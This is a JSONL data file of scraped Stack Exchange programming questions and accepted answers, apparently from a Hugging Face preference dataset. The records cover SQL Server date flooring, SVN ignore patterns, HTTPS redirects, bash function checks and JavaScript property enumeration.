{"id": "hf_2c5f23be0273", "question": "<p>I'm having problems deciding on what is the best way is to handle and store time measurements.</p>\n\n<p>I have an app that has a textbox that allows the users to input time in either hh:mm:ss or mm:ss format. </p>\n\n<p>So I was planning on parsing this string, tokenizing it on the colons and creating TimeSpan (or using TimeSpan.Parse() and just adding a \"00:\" to the mm:ss case) for my business logic. Ok?</p>\n\n<p>How do I store this as in a database though? What would the field type be? DateTime seems wrong. I don't want a time of 00:54:12 to be stored as 1901-01-01 00:54:12 that seems a bit poor?</p>\n", "question_body": "", "answer": "I think the simplest is to just convert user input into a integer number of seconds. So 54:12 == 3252 seconds, so store the 3252 in your database or wherever. Then when you need to display it to the user, you can convert it back again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.669819"}
{"id": "hf_4de9a58ec10b", "question": "<p>What is the best (or as good as possible) general SVN ignore pattern to use? </p>\n\n<p>There are a number of different IDE, editor, compiler, plug-in, platform, etc. specific files and some file types that \"overlap\" (i.e. desirable for some types projects and not for others). </p>\n\n<p><strong>There are however, a large number of file types that you just never want included in source control automatically regardless the specifics of your development environment.</strong></p>\n\n<p>The answer to this question would serve as a good starting point for any project - only requiring them to add the few environment specific items they need. It could be adapted for other Version Control Systems (VCS) as well.</p>\n", "question_body": "", "answer": "Used for my Visual Studio projects\n```\n```\n*/bin */obj *.user *.suo\n```\n```\nYou can expand more file types from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.693048"}
{"id": "hf_ec5c0ba6f609", "question": "<p>In SQL Server, how do I \"floor\" a DATETIME to the second/minute/hour/day/year?</p>\n\n<p>Let's say that I have a date of <strong>2008-09-17 12:56:53.430</strong>, then the output of flooring should be:</p>\n\n<ul>\n<li>Year:  2008-01-01 00:00:00.000</li>\n<li>Month: 2008-09-01 00:00:00.000</li>\n<li>Day: 2008-09-17 00:00:00.000</li>\n<li>Hour: 2008-09-17 12:00:00.000</li>\n<li>Minute: 2008-09-17 12:56:00.000</li>\n<li>Second: 2008-09-17 12:56:53.000</li>\n</ul>\n", "question_body": "", "answer": "The key is to use\nDATEADD\nand\nDATEDIFF\nalong with the appropriate SQL timespan enumeration.\n```\n```\ndeclare @datetime datetime;\nset @datetime = getdate();\nselect @datetime;\nselect dateadd(year,datediff(year,0,@datetime),0);\nselect dateadd(month,datediff(month,0,@datetime),0);\nselect dateadd(day,datediff(day,0,@datetime),0);\nselect dateadd(hour,datediff(hour,0,@datetime),0);\nselect dateadd(minute,datediff(minute,0,@datetime),0);\nselect dateadd(second,datediff(second,'2000-01-01',@datetime),'2000-01-01');\nselect dateadd(week,datediff(week,0,@datetime),-1); --Beginning of week is Sunday\nselect dateadd(week,datediff(week,0,@datetime),0); --Beginning of week is Monday\n```\n```\nNote that when you are flooring by the second, you will often get an arithmetic overflow if you use 0. So pick a known value that is guaranteed to be lower than the datetime you are attempting to floor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.727423"}
{"id": "hf_a12ac4143bf8", "question": "<p>I need to take a Word document that is a template of sorts...collect user input to populate specific fields in that template..then generate a PDF file that includes the completed template as well as a few other document types. Does anyone have a good suggestion on a component to achieve this? Preferably one that does not require Microsoft Office to be installed on the web server.</p>\n", "question_body": "", "answer": "Is there a reason to use Word? If you start with a PDF with Form fields, you can either allow the user to fill out the fields, or do it programatically with iTextSharp's PDF stamper.\nIf you need to use MSOffice 2000/2003 components programmatically, you can try Office Web Components. They do need to be installed on the server, but can be used by .NET and Com apps to interact with office file types. More info here...\nhttp://en.wikipedia.org/wiki/Office_Web_Components\nIf you dig about on an office CD you should find the OWC installer for your version. I haven't worked with 2007, but I assume there is something similar available.\niTextSharp and OWC are no-cost, check the licensing for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.789457"}
{"id": "hf_4313b18c16c3", "question": "<p>I am trying to inherit from my generated datacontext in LinqToSQL - something like this </p>\n\n<pre><code>public class myContext : dbDataContext {\n public System.Data.Linq.Table&lt;User&gt;() Users {\n  return (from x in base.Users() where x.DeletedOn.HasValue == false select x);\n }\n}\n</code></pre>\n\n<p>But my Linq statement returns IQueryable which cannot cast to Table - does anyone know a way to limit the contents of a Linq.Table - I am trying to be certain that anywhere my Users table is accessed, it doesn't return those marked deleted. Perhaps I am going about this all wrong - any suggestions would be greatly appreciated.</p>\n\n<p>Hal</p>\n", "question_body": "", "answer": "You could use discriminator column inheritance on the table, ie. a DeletedUsers table and ActiveUsers table where the discriminator column says which goes to which.  Then in your code, just reference the Users.OfType ActiveUsers, which will never include anything deleted.\nAs a side note, how the heck do you do this with markdown?\n```\n```\nUsers.OfType<ActiveUsers>\n```\n```\nI can get it in code, but not inline", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.870863"}
{"id": "hf_018b62385d1a", "question": "<p>Say I've got this table (SQL Server 2005):</p>\n\n<pre><code>Id =&gt; integer  \nMyField =&gt; XML\n</code></pre>\n\n<p><b>Id  MyField</b>  </p>\n\n<pre><code>1   &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;10&lt; /Value&gt;&lt; /Object&gt;&lt; Object&gt;&lt; Type&gt;BBB&lt; /Type&gt;&lt;Value&gt;20&lt; /Value&gt;&lt; /Object&gt;  \n2   &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;15&lt; /Value&gt;&lt; /Object&gt;  \n3   &lt; Object&gt;&lt; Type&gt;AAA&lt; /Type&gt;&lt; Value&gt;20&lt; /Value&gt;&lt; /Object&gt;&lt; Object&gt;&lt; Type&gt;BBB&lt; /Type&gt;&lt; Value&gt;30&lt; /Value&gt;&lt; /Object&gt;  \n</code></pre>\n\n<p>I need a TSQL query which would return something like this:</p>\n\n<pre><code>Id  AAA     BBB  \n1   10      20  \n2   15      NULL  \n3   20      30  \n</code></pre>\n\n<p>Note that I won't know if advance how many <code>'Type'</code> (eg AAA, BBB, CCC,DDD, etc.) there will be in the xml string.</p>\n", "question_body": "", "answer": "You will need to use the\nXML querying in sql server\nto do that.\nsomethings like\n```\n```\nselect id, MyField.query('/Object/Type[.=\"AAA\"]/Value') as AAA, MyField.query('/Object/Type[.=\"BBB\"]/Value) AS BBB\n```\n```\nnot sure if that's 100% correct xquery syntax, but it's going to be something like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.928322"}
{"id": "hf_747f1d2364c8", "question": "<p>How do I perform a reverse DNS lookup, that is how do I resolve an IP address to its DNS hostname in Perl?</p>\n", "question_body": "", "answer": "gethostbyaddr and similar calls. See\nhttp://perldoc.perl.org/functions/gethostbyaddr.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.963423"}
{"id": "hf_6293983695ce", "question": "<p>First time working with UpdatePanels in .NET. </p>\n\n<p>I have an updatepanel with a trigger pointed to an event on a FormView control. The UpdatePanel holds a ListView with related data from a separate database.</p>\n\n<p>When the UpdatePanel refreshes, it needs values from the FormView control so that on the server it can use them to query the database.</p>\n\n<p>For the life if me, I can't figure out how to get those values. The event I'm triggering from has them, but I want the updatepanel to refresh asynchronously. How do I pass values to the load event on the panel?</p>\n\n<p>Googled this ad nauseum and can't seem to get to an answer here. A link or an explanation would be immensely helpful..</p>\n\n<p>Jeff</p>\n", "question_body": "", "answer": "Try\n...looking in the Request and\nResponse.\n...setting a breakpoint\non the Load() method and query Me or\nthis in the watch or immediate\nwindow to see if the values you want\nare maybe just not where you are\nexpecting them?\n...Put a (For Each ctl as Control in Me/This.Controls)\nand inspecting each control that is iterated and see if you are even getting the controls you expect.\n... its not in Sender or EventArgs?\nTry NOT using Update panels.... They can often cause more trouble than they are worth. It may be faster and less headache to use regular AJAX to get it done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.986298"}
{"id": "hf_3951f2fd4edc", "question": "<p>What does the option “convert to web application” do if I select it in visual studio? If I do convert my site to a web application what are the advantages? Can I go back?</p>\n", "question_body": "", "answer": "Well, it converts your web site to a web application project. As for the advantages, here is some further reading:\nMSDN comparison --\nComparing Web Site Projects and Web Application Projects\nWebcast on ASP.NET --\nWeb Application Projects vs. Web Site Projects in Visual Studio 2008\n\"In this webcast, by request, we examine the differences between web application projects and web site projects in Microsoft Visual Studio 2008. We focus specifically on the reasons you would choose one over the other and explain how to make informed decisions when creating a Web solution\n\"\nThe primary difference (to me) between a web application project and a web site is how things gets compiled.  In web sites each page has its code-behind compiled into a separate library, whereas in web applications all code-behind gets compiled into a single library.\nThere are advantages and disadvantages to both, it really depends. It's also often a matter of\nopinion\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.013191"}
{"id": "hf_38507764867c", "question": "<p>As you may know, Silverlight does not have the TileBrush found in WPF. Is there a workaround to do tiling?</p>\n", "question_body": "", "answer": "Well, it would appear that Silverlight does support the TileBrush, as referenced on MSDN:\nSystem.Windows.Media.TileBrush\n. It first appears in Silverlight 2.0 Beta 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.040580"}
{"id": "hf_7e1f11aaa6c3", "question": "<p>I have a line of C# in my ASP.NET code behind that looks like this:</p>\n\n<pre><code>DropDownList ddlStates = (DropDownList)fvAccountSummary.FindControl(\"ddlStates\");\n</code></pre>\n\n<p>The DropDownList control is explicitly declared in the markup on the page, not dynamically created. It is inside of a FormView control. When my code hits this line, I am getting an ArithmeticException with the message \"Value was either too large or too small for an Int32.\" This code has worked previously, and is in production right now. I fired up VS2008 to make some changes to the site, but before I changed anything, I got this exception from the page. Anyone seen this one before?</p>\n", "question_body": "", "answer": "Are you 100% sure that's the line of code that's throwing the exception? I'm pretty certain that the FindControl method is not capable of throwing an ArithmeticException. Of course, I've been known to be wrong before... :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.134654"}
{"id": "hf_e09386e59903", "question": "<p>How do I remove a USB drive using the Win32 API? I do a lot of work on embedded systems and on one of these I have to copy my programs on a USB stick and insert it into the target hardware.</p>\n\n<p>Since I mostly work on the console I don't like to use the mouse and click on the small task-bar icon hundred times a day. </p>\n\n<p>I'd love to write a little program to do exactly that so I can put it into my makefiles, but I haven't found any API call that does the same thing.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "It looks like\nSync\nlets you specify -e to eject removable drives. While not a win32 API, you could probably just call\n```\nsync -e [drive_letter]\n```\nfrom your makefile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.197590"}
{"id": "hf_caa43ec1861d", "question": "<p>I have two tables I would like to complare.  One of the columns is type CLOB.  I would like to do something like this:</p>\n\n<pre><code>select key, clob_value source_table\nminus\nselect key, clob_value target_table\n</code></pre>\n\n<p>Unfortunately, Oracle can't perform minus operations on clobs.  How can I do this?</p>\n", "question_body": "", "answer": "Can you access the data via a built in package? If so then perhaps you could write a function that returned a string representation of the data (eg some sort of hash on the data), then you could do\n```\n```\nselect key, to_hash_str_val(glob_value) from source_table\nminus\nselect key, to_hash_str_val(glob_value) from target_table\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.221262"}
{"id": "hf_4f97f0f5940c", "question": "<p>I'm building a group calendar application that needs to support recurring events, but all the solutions I've come up with to handle these events seem like a hack. I can limit how far ahead one can look, and then generate all the events at once. Or I can store the events as repeating and dynamically display them when one looks ahead on the calendar, but I'll have to convert them to a normal event if someone wants to change the details on a particular instance of the event.</p>\n\n<p>I'm sure there's a better way to do this, but I haven't found it yet. What's the best way to model recurring events, where you can change details of or delete particular event instances?</p>\n\n<p>(I'm using Ruby, but please don't let that constrain your answer. If there's a Ruby-specific library or something, though, that's good to know.)</p>\n", "question_body": "", "answer": "You may want to look at iCalendar software implementations or the standard itself (\nRFC 2445\nRFC 5545\n).\nOnes to come to mind quickly are the Mozilla projects\nhttp://www.mozilla.org/projects/calendar/\nA quick search reveals\nhttp://icalendar.rubyforge.org/\nas well.\nOther options can be considered depending on how you're going to store the events.  Are you building your own database schema?  Using something iCalendar-based, etc.?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.244628"}
{"id": "hf_6255d8f30ec1", "question": "<p>I want to have a \"select-only\" <code>ComboBox</code> that provides a list of items for the user to select from. Typing should be disabled in the text portion of the <code>ComboBox</code> control.</p>\n\n<p>My initial googling of this turned up an overly complex, misguided suggestion to capture the <code>KeyPress</code> event.</p>\n", "question_body": "", "answer": "To make the text portion of a ComboBox non-editable, set the DropDownStyle property to \"DropDownList\".  The ComboBox is now essentially select-only for the user. You can do this in the Visual Studio designer, or in C# like this:\n```\n```\nstateComboBox.DropDownStyle = ComboBoxStyle.DropDownList;\n```\n```\nLink to the documentation for the\nComboBox DropDownStyle property\non MSDN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.284080"}
{"id": "hf_d77c60d136b6", "question": "<p>I have an external variable coming in as a string and I would like to do a switch/case on it. How do I do that in xquery?</p>\n", "question_body": "", "answer": "XQuery doesn't have a function for switching on anything other than elements.\nThe first thing you do is convert your string to an element.\n```\n```\nlet $str := \"kitchen\"\nlet $room := element {$str} {}\n```\n```\nThen just use typeswitch to do a normal switch:\n```\n```\nreturn typeswitch($room)\n  case element(bathroom) return \"loo\"\n  case element(kitchen) return \"scullery\"\n  default return \"just a room\"\n```\n```\nPlease note, this may be a MarkLogic only solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.331144"}
{"id": "hf_69b5968c9ebc", "question": "<p>here is the input  i am getting from my flash file </p>\n\n<p>process.php?Q2=898&amp;Aa=Grade1&amp;Tim=0%3A0%3A12&amp;Q1=908&amp;Bb=lkj&amp;Q4=jhj&amp;Q3=08&amp;Cc=North%20America&amp;Q0=1</p>\n\n<p>and in php i use this code\nforeach ($_GET as $field => $label)\n{\n    $datarray[]=$_GET[$field];</p>\n\n<pre><code>echo  \"$field :\";\necho $_GET[$field];;\necho \"&lt;br&gt;\";\n</code></pre>\n\n<p>i get this out put</p>\n\n<p>Q2 :898\nAa :Grade1\nTim :0:0:12\nQ1 :908\nBb :lkj\nQ4 :jhj\nQ3 :08\nCc :North America\nQ0 :1</p>\n\n<p>now my question is how do i sort it alphabaticaly so it should look like this \nAa :Grade1\nBb :lkj\nCc :North America\nQ0 :1\nQ1 :908</p>\n\n<p>and so on....before i can insert it into the DB</p>\n", "question_body": "", "answer": "```\n```\nksort($_GET);\n```\n```\nThis should\nksort\nthe\n```\n$_GET\n```\narray by it's keys.\nkrsort\nfor reverse order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.354772"}
{"id": "hf_409fa84c80e3", "question": "<p>How do you tell if a function in JavaScript is defined?</p>\n\n<p>I want to do something like this</p>\n\n<pre><code>function something_cool(text, callback) {\n    alert(text);\n    if( callback != null ) callback();\n}\n</code></pre>\n\n<p>But it gets me a</p>\n\n<blockquote>\n  <p>callback is not a function</p>\n</blockquote>\n\n<p>error when callback is not defined.</p>\n", "question_body": "", "answer": "```\n```\ntypeof callback === \"function\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.412977"}
{"id": "hf_41fa15d1547e", "question": "<p>I've got just one page that I want to force to be accessed as an HTTPS page (PHP on Apache). How do I do this without making the whole directory require HTTPS? Or, if you submit a form to an HTTPS page from an HTTP page, does it send it by HTTPS instead of HTTP?</p>\n<p>Here is my example:</p>\n<pre><code>http://www.example.com/some-page.php\n</code></pre>\n<p>I want it to only be accessed through:</p>\n<pre><code>https://www.example.com/some-page.php\n</code></pre>\n<p>Sure, I can put all of the links to this page pointed at the HTTPS version, but that doesn't stop some fool from accessing it through HTTP on purpose...</p>\n<p>One thing I thought was putting a redirect in the header of the PHP file to check to be sure that they are accessing the HTTPS version:</p>\n<pre><code>if($_SERVER[&quot;SCRIPT_URI&quot;] == &quot;http://www.example.com/some-page.php&quot;){\n  header('Location: https://www.example.com/some-page.php');\n}\n</code></pre>\n<p>But that can't be the right way, can it?</p>\n", "question_body": "", "answer": "You could do it with a  directive and mod_rewrite on Apache:\n```\n```\n<Location /buyCrap.php>\nRewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}\n</Location>\n```\n```\nYou could make the Location smarter over time using\nregular expressions\nif you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.436513"}
{"id": "hf_f9dd28257bd5", "question": "<p>Currently I'm doing some unit tests which are executed from bash. Unit tests are initialized, executed and cleaned up in a bash script. This script usualy contains an init(), execute() and cleanup() functions. But they are not mandatory. I'd like to test if they are or are not defined.</p>\n\n<p>I did this previously by greping and seding the source, but it seemed wrong. Is there a more elegant way to do this?</p>\n\n<p>Edit: The following sniplet works like a charm:</p>\n\n<pre><code>fn_exists()\n{\n    LC_ALL=C type $1 | grep -q 'shell function'\n}\n</code></pre>\n", "question_body": "", "answer": "Like this:\n```\n[[ $(type -t foo) == function ]] && echo \"Foo exists\"\n```\nThe built-in\n```\ntype\n```\ncommand will tell you whether something is a function, built-in function, external command, or just not defined.\nAdditional examples:\n```\n```\n$ LC_ALL=C type foo\nbash: type: foo: not found\n\n$ LC_ALL=C type ls\nls is aliased to `ls --color=auto'\n\n$ which type\n\n$ LC_ALL=C type type\ntype is a shell builtin\n\n$ LC_ALL=C type -t rvm\nfunction\n\n$ if [ -n \"$(LC_ALL=C type -t rvm)\" ] && [ \"$(LC_ALL=C type -t rvm)\" = function ]; then echo rvm is a function; else echo rvm is NOT a function; fi\nrvm is a function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.482954"}
{"id": "hf_29eb9714b9a2", "question": "<p>I'm trying to determine if there's a way in Visual Basic 2008 (Express edition if that matters) to do inline collection initialization, a la JavaScript or Python:</p>\n\n<pre><code>Dim oMapping As Dictionary(Of Integer, String) = {{1,\"First\"}, {2, \"Second\"}}\n</code></pre>\n\n<p>I know Visual Basic 2008 supports array initialization like this, but I can't seem to get it to work for collections... Do I have the syntax wrong, or is it just not implemented?</p>\n", "question_body": "", "answer": "Visual Basic 9.0\ndoesn't support this yet. However,\nVisual Basic 10.0\nwill\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.506577"}
{"id": "hf_c7939b900b1a", "question": "<p>I have an old .dot file with a few dozen styles in it.<br>\nI need to place them into <b>another .dot file </b> that I received.  Is there a better way to get them in there than manually recreating each style?</p>\n", "question_body": "", "answer": "There is a 'Style Organizer' tool within Word which will let you copy styles from one document to another if they are both open at once.\nIn Word 2007:\nOpen the styles dialog (Home tab -> Styles -> Bottom Right button).\nClick the 'manage styles' button.\nClick 'Import/Export...'\nI can't remember what the option is in Word 2003. I think it was Tools -> Style Organizer or similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.564855"}
{"id": "hf_57121c6af46c", "question": "<p>For a given table 'foo', I need a query to generate a set of tables that have foreign keys that point to foo.  I'm using Oracle 10G.</p>\n", "question_body": "", "answer": "This should work (or something close):\n```\n```\nselect table_name\nfrom all_constraints\nwhere constraint_type='R'\nand r_constraint_name in \n  (select constraint_name\n  from all_constraints\n  where constraint_type in ('P','U')\n  and table_name='<your table here>');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.600855"}
{"id": "hf_3c64b14bfd8d", "question": "<p>How do I enumerate the properties of a JavaScript object?</p>\n\n<p>I actually want to list all the defined variables and their values, but I've learned that defining a variable actually creates a property of the window object.</p>\n", "question_body": "", "answer": "Simple enough:\n```\n```\nfor(var propertyName in myObject) {\n   // propertyName is what you want\n   // you can get the value like this: myObject[propertyName]\n}\n```\n```\nNow, you will not get private variables this way because they are not available.\nEDIT:\n@bitwiseplatypus\nis correct that unless you use the\n```\nhasOwnProperty()\n```\nmethod, you will get properties that are inherited - however, I don't know why anyone familiar with object-oriented programming would expect anything less! Typically, someone that brings this up has been subjected to Douglas Crockford's warnings about this, which still confuse me a bit. Again, inheritance is a normal part of OO languages and is therefore part of JavaScript, notwithstanding it being prototypical.\nNow, that said,\n```\nhasOwnProperty()\n```\nis\nuseful for filtering, but we don't need to sound a warning as if there is something dangerous in getting inherited properties.\nEDIT 2:\n@bitwiseplatypus\nbrings up the situation that would occur should someone add properties/methods to your objects at a point in time later than when you originally wrote your objects (via its prototype) - while it is true that this might cause unexpected behavior, I personally don't see that as my problem entirely. Just a matter of opinion. Besides, what if I design things in such a way that I use prototypes during the construction of my objects and yet have code that iterates over the properties of the object and I want all inherited properties? I wouldn't use\n```\nhasOwnProperty()\n```\n. Then, let's say, someone adds new properties later. Is that my fault if things behave badly at that point? I don't think so. I think this is why jQuery, as an example, has specified ways of extending how it works (via\n```\njQuery.extend\n```\nand\n```\njQuery.fn.extend\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.636089"}
{"id": "hf_b83fc75c625c", "question": "<p>I wrote myself a little downloading application so that I could easily grab a set of files from my server and put them all onto a new pc with  a clean install of Windows, without actually going on the net.  Unfortunately I'm having problems creating the folder I want to put them in and am unsure how to go about it.</p>\n\n<p>I want my program to download the apps to <code>program files\\any name here\\</code></p>\n\n<p>So basically I need a function that checks if a folder exists, and if it doesn't it creates it.</p>\n", "question_body": "", "answer": "Try this:\n```\nDirectory.Exists(TheFolderName)\n```\nand\n```\nDirectory.CreateDirectory(TheFolderName)\n```\n(You may need:\n```\nImports System.IO\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.692291"}
{"id": "hf_35e80471388a", "question": "<p>How do i measure how long a client has to wait for a request. </p>\n\n<p>On the server side it is easy, through a filter for example.\nBut if we want to take into accout the total time including latency and data transfer, it gets diffcult.</p>\n\n<p>is it possible to access the underlying socket to see when the request is finished?\nor is it neccessary to do some javascript tricks? maybe through clock synchronisation between browser and server? are there any premade javascripts for this task?</p>\n", "question_body": "", "answer": "You could set a 0 byte socket send buffer  (and I don't exactly recommend this) so that when your blocking call to HttpResponse.send() you have a closer idea as to when the last byte left, but travel time is not included.\nEkk\n--I feel queasy for even mentioning it.  You can do this in Tomcat with connector specific settings. (\nTomcat 6 Connector documentation\n)\nOr you could come up with some sort of javascript time stamp approach, but I would not expect to set the client clock.  Multiple calls to the web server would have to be made.\ntimestamp query\nthe real request\nreporting the data\nAnd this approach would cover latency, although you still have have some jitter variance.\nHmmm...interesting problem you have there.  :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.731414"}
{"id": "hf_a1503e0e8e31", "question": "<p>If you are using HAML and SASS in your Rails application, then any templates you define in public/stylesheet/*.sass will be compiled into *.css stylesheets. From your code, you use stylesheet_link_tag to pull in the asset by name without having to worry about the extension. </p>\n\n<p>Many people dislike storing generated code or compiled code in version control, and it also stands to reason that the public/ directory shouldn't contain elements that you don't send to the browser. </p>\n\n<p>What is the best pattern to follow when laying out SASS resources in your Rails project?</p>\n", "question_body": "", "answer": "If I can manage it, I like to store all of my styles in SASS templates when I choose HAML/SASS for a project, and I'll remove application.css and scaffold.css. Then I will put SASS in public/stylesheets/sass, and add /public/stylesheets/*.css to .gitignore.\nIf I have to work with a combination of SASS and CSS based assets, it's a little more complicated. The simplest way of handling this is to have an output subdirectory for generated CSS within the stylesheets directory, then exclude that subdirectory in .gitignore. Then, in your views you have to know which styling type you're using (SASS or CSS) by virtue of having to select the public/stylesheets/foo stylesheet or the public/stylesheets/sass-out/foo stylesheet.\nIf you have to go the second route, build a helper to abstract away the sass-out subdirectory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.754841"}
{"id": "hf_6db69699cfd1", "question": "<p>I'm wondering the <em>best</em> way to start a pthread that is a member of a C++ class? My own approach follows as an answer...</p>\n", "question_body": "", "answer": "I usually use a static member function of the class, and use a pointer to the class as the void * parameter.  That function can then either perform thread processing, or call another non-static member function with the class reference.  That function can then reference all class members without awkward syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:55.817106"}
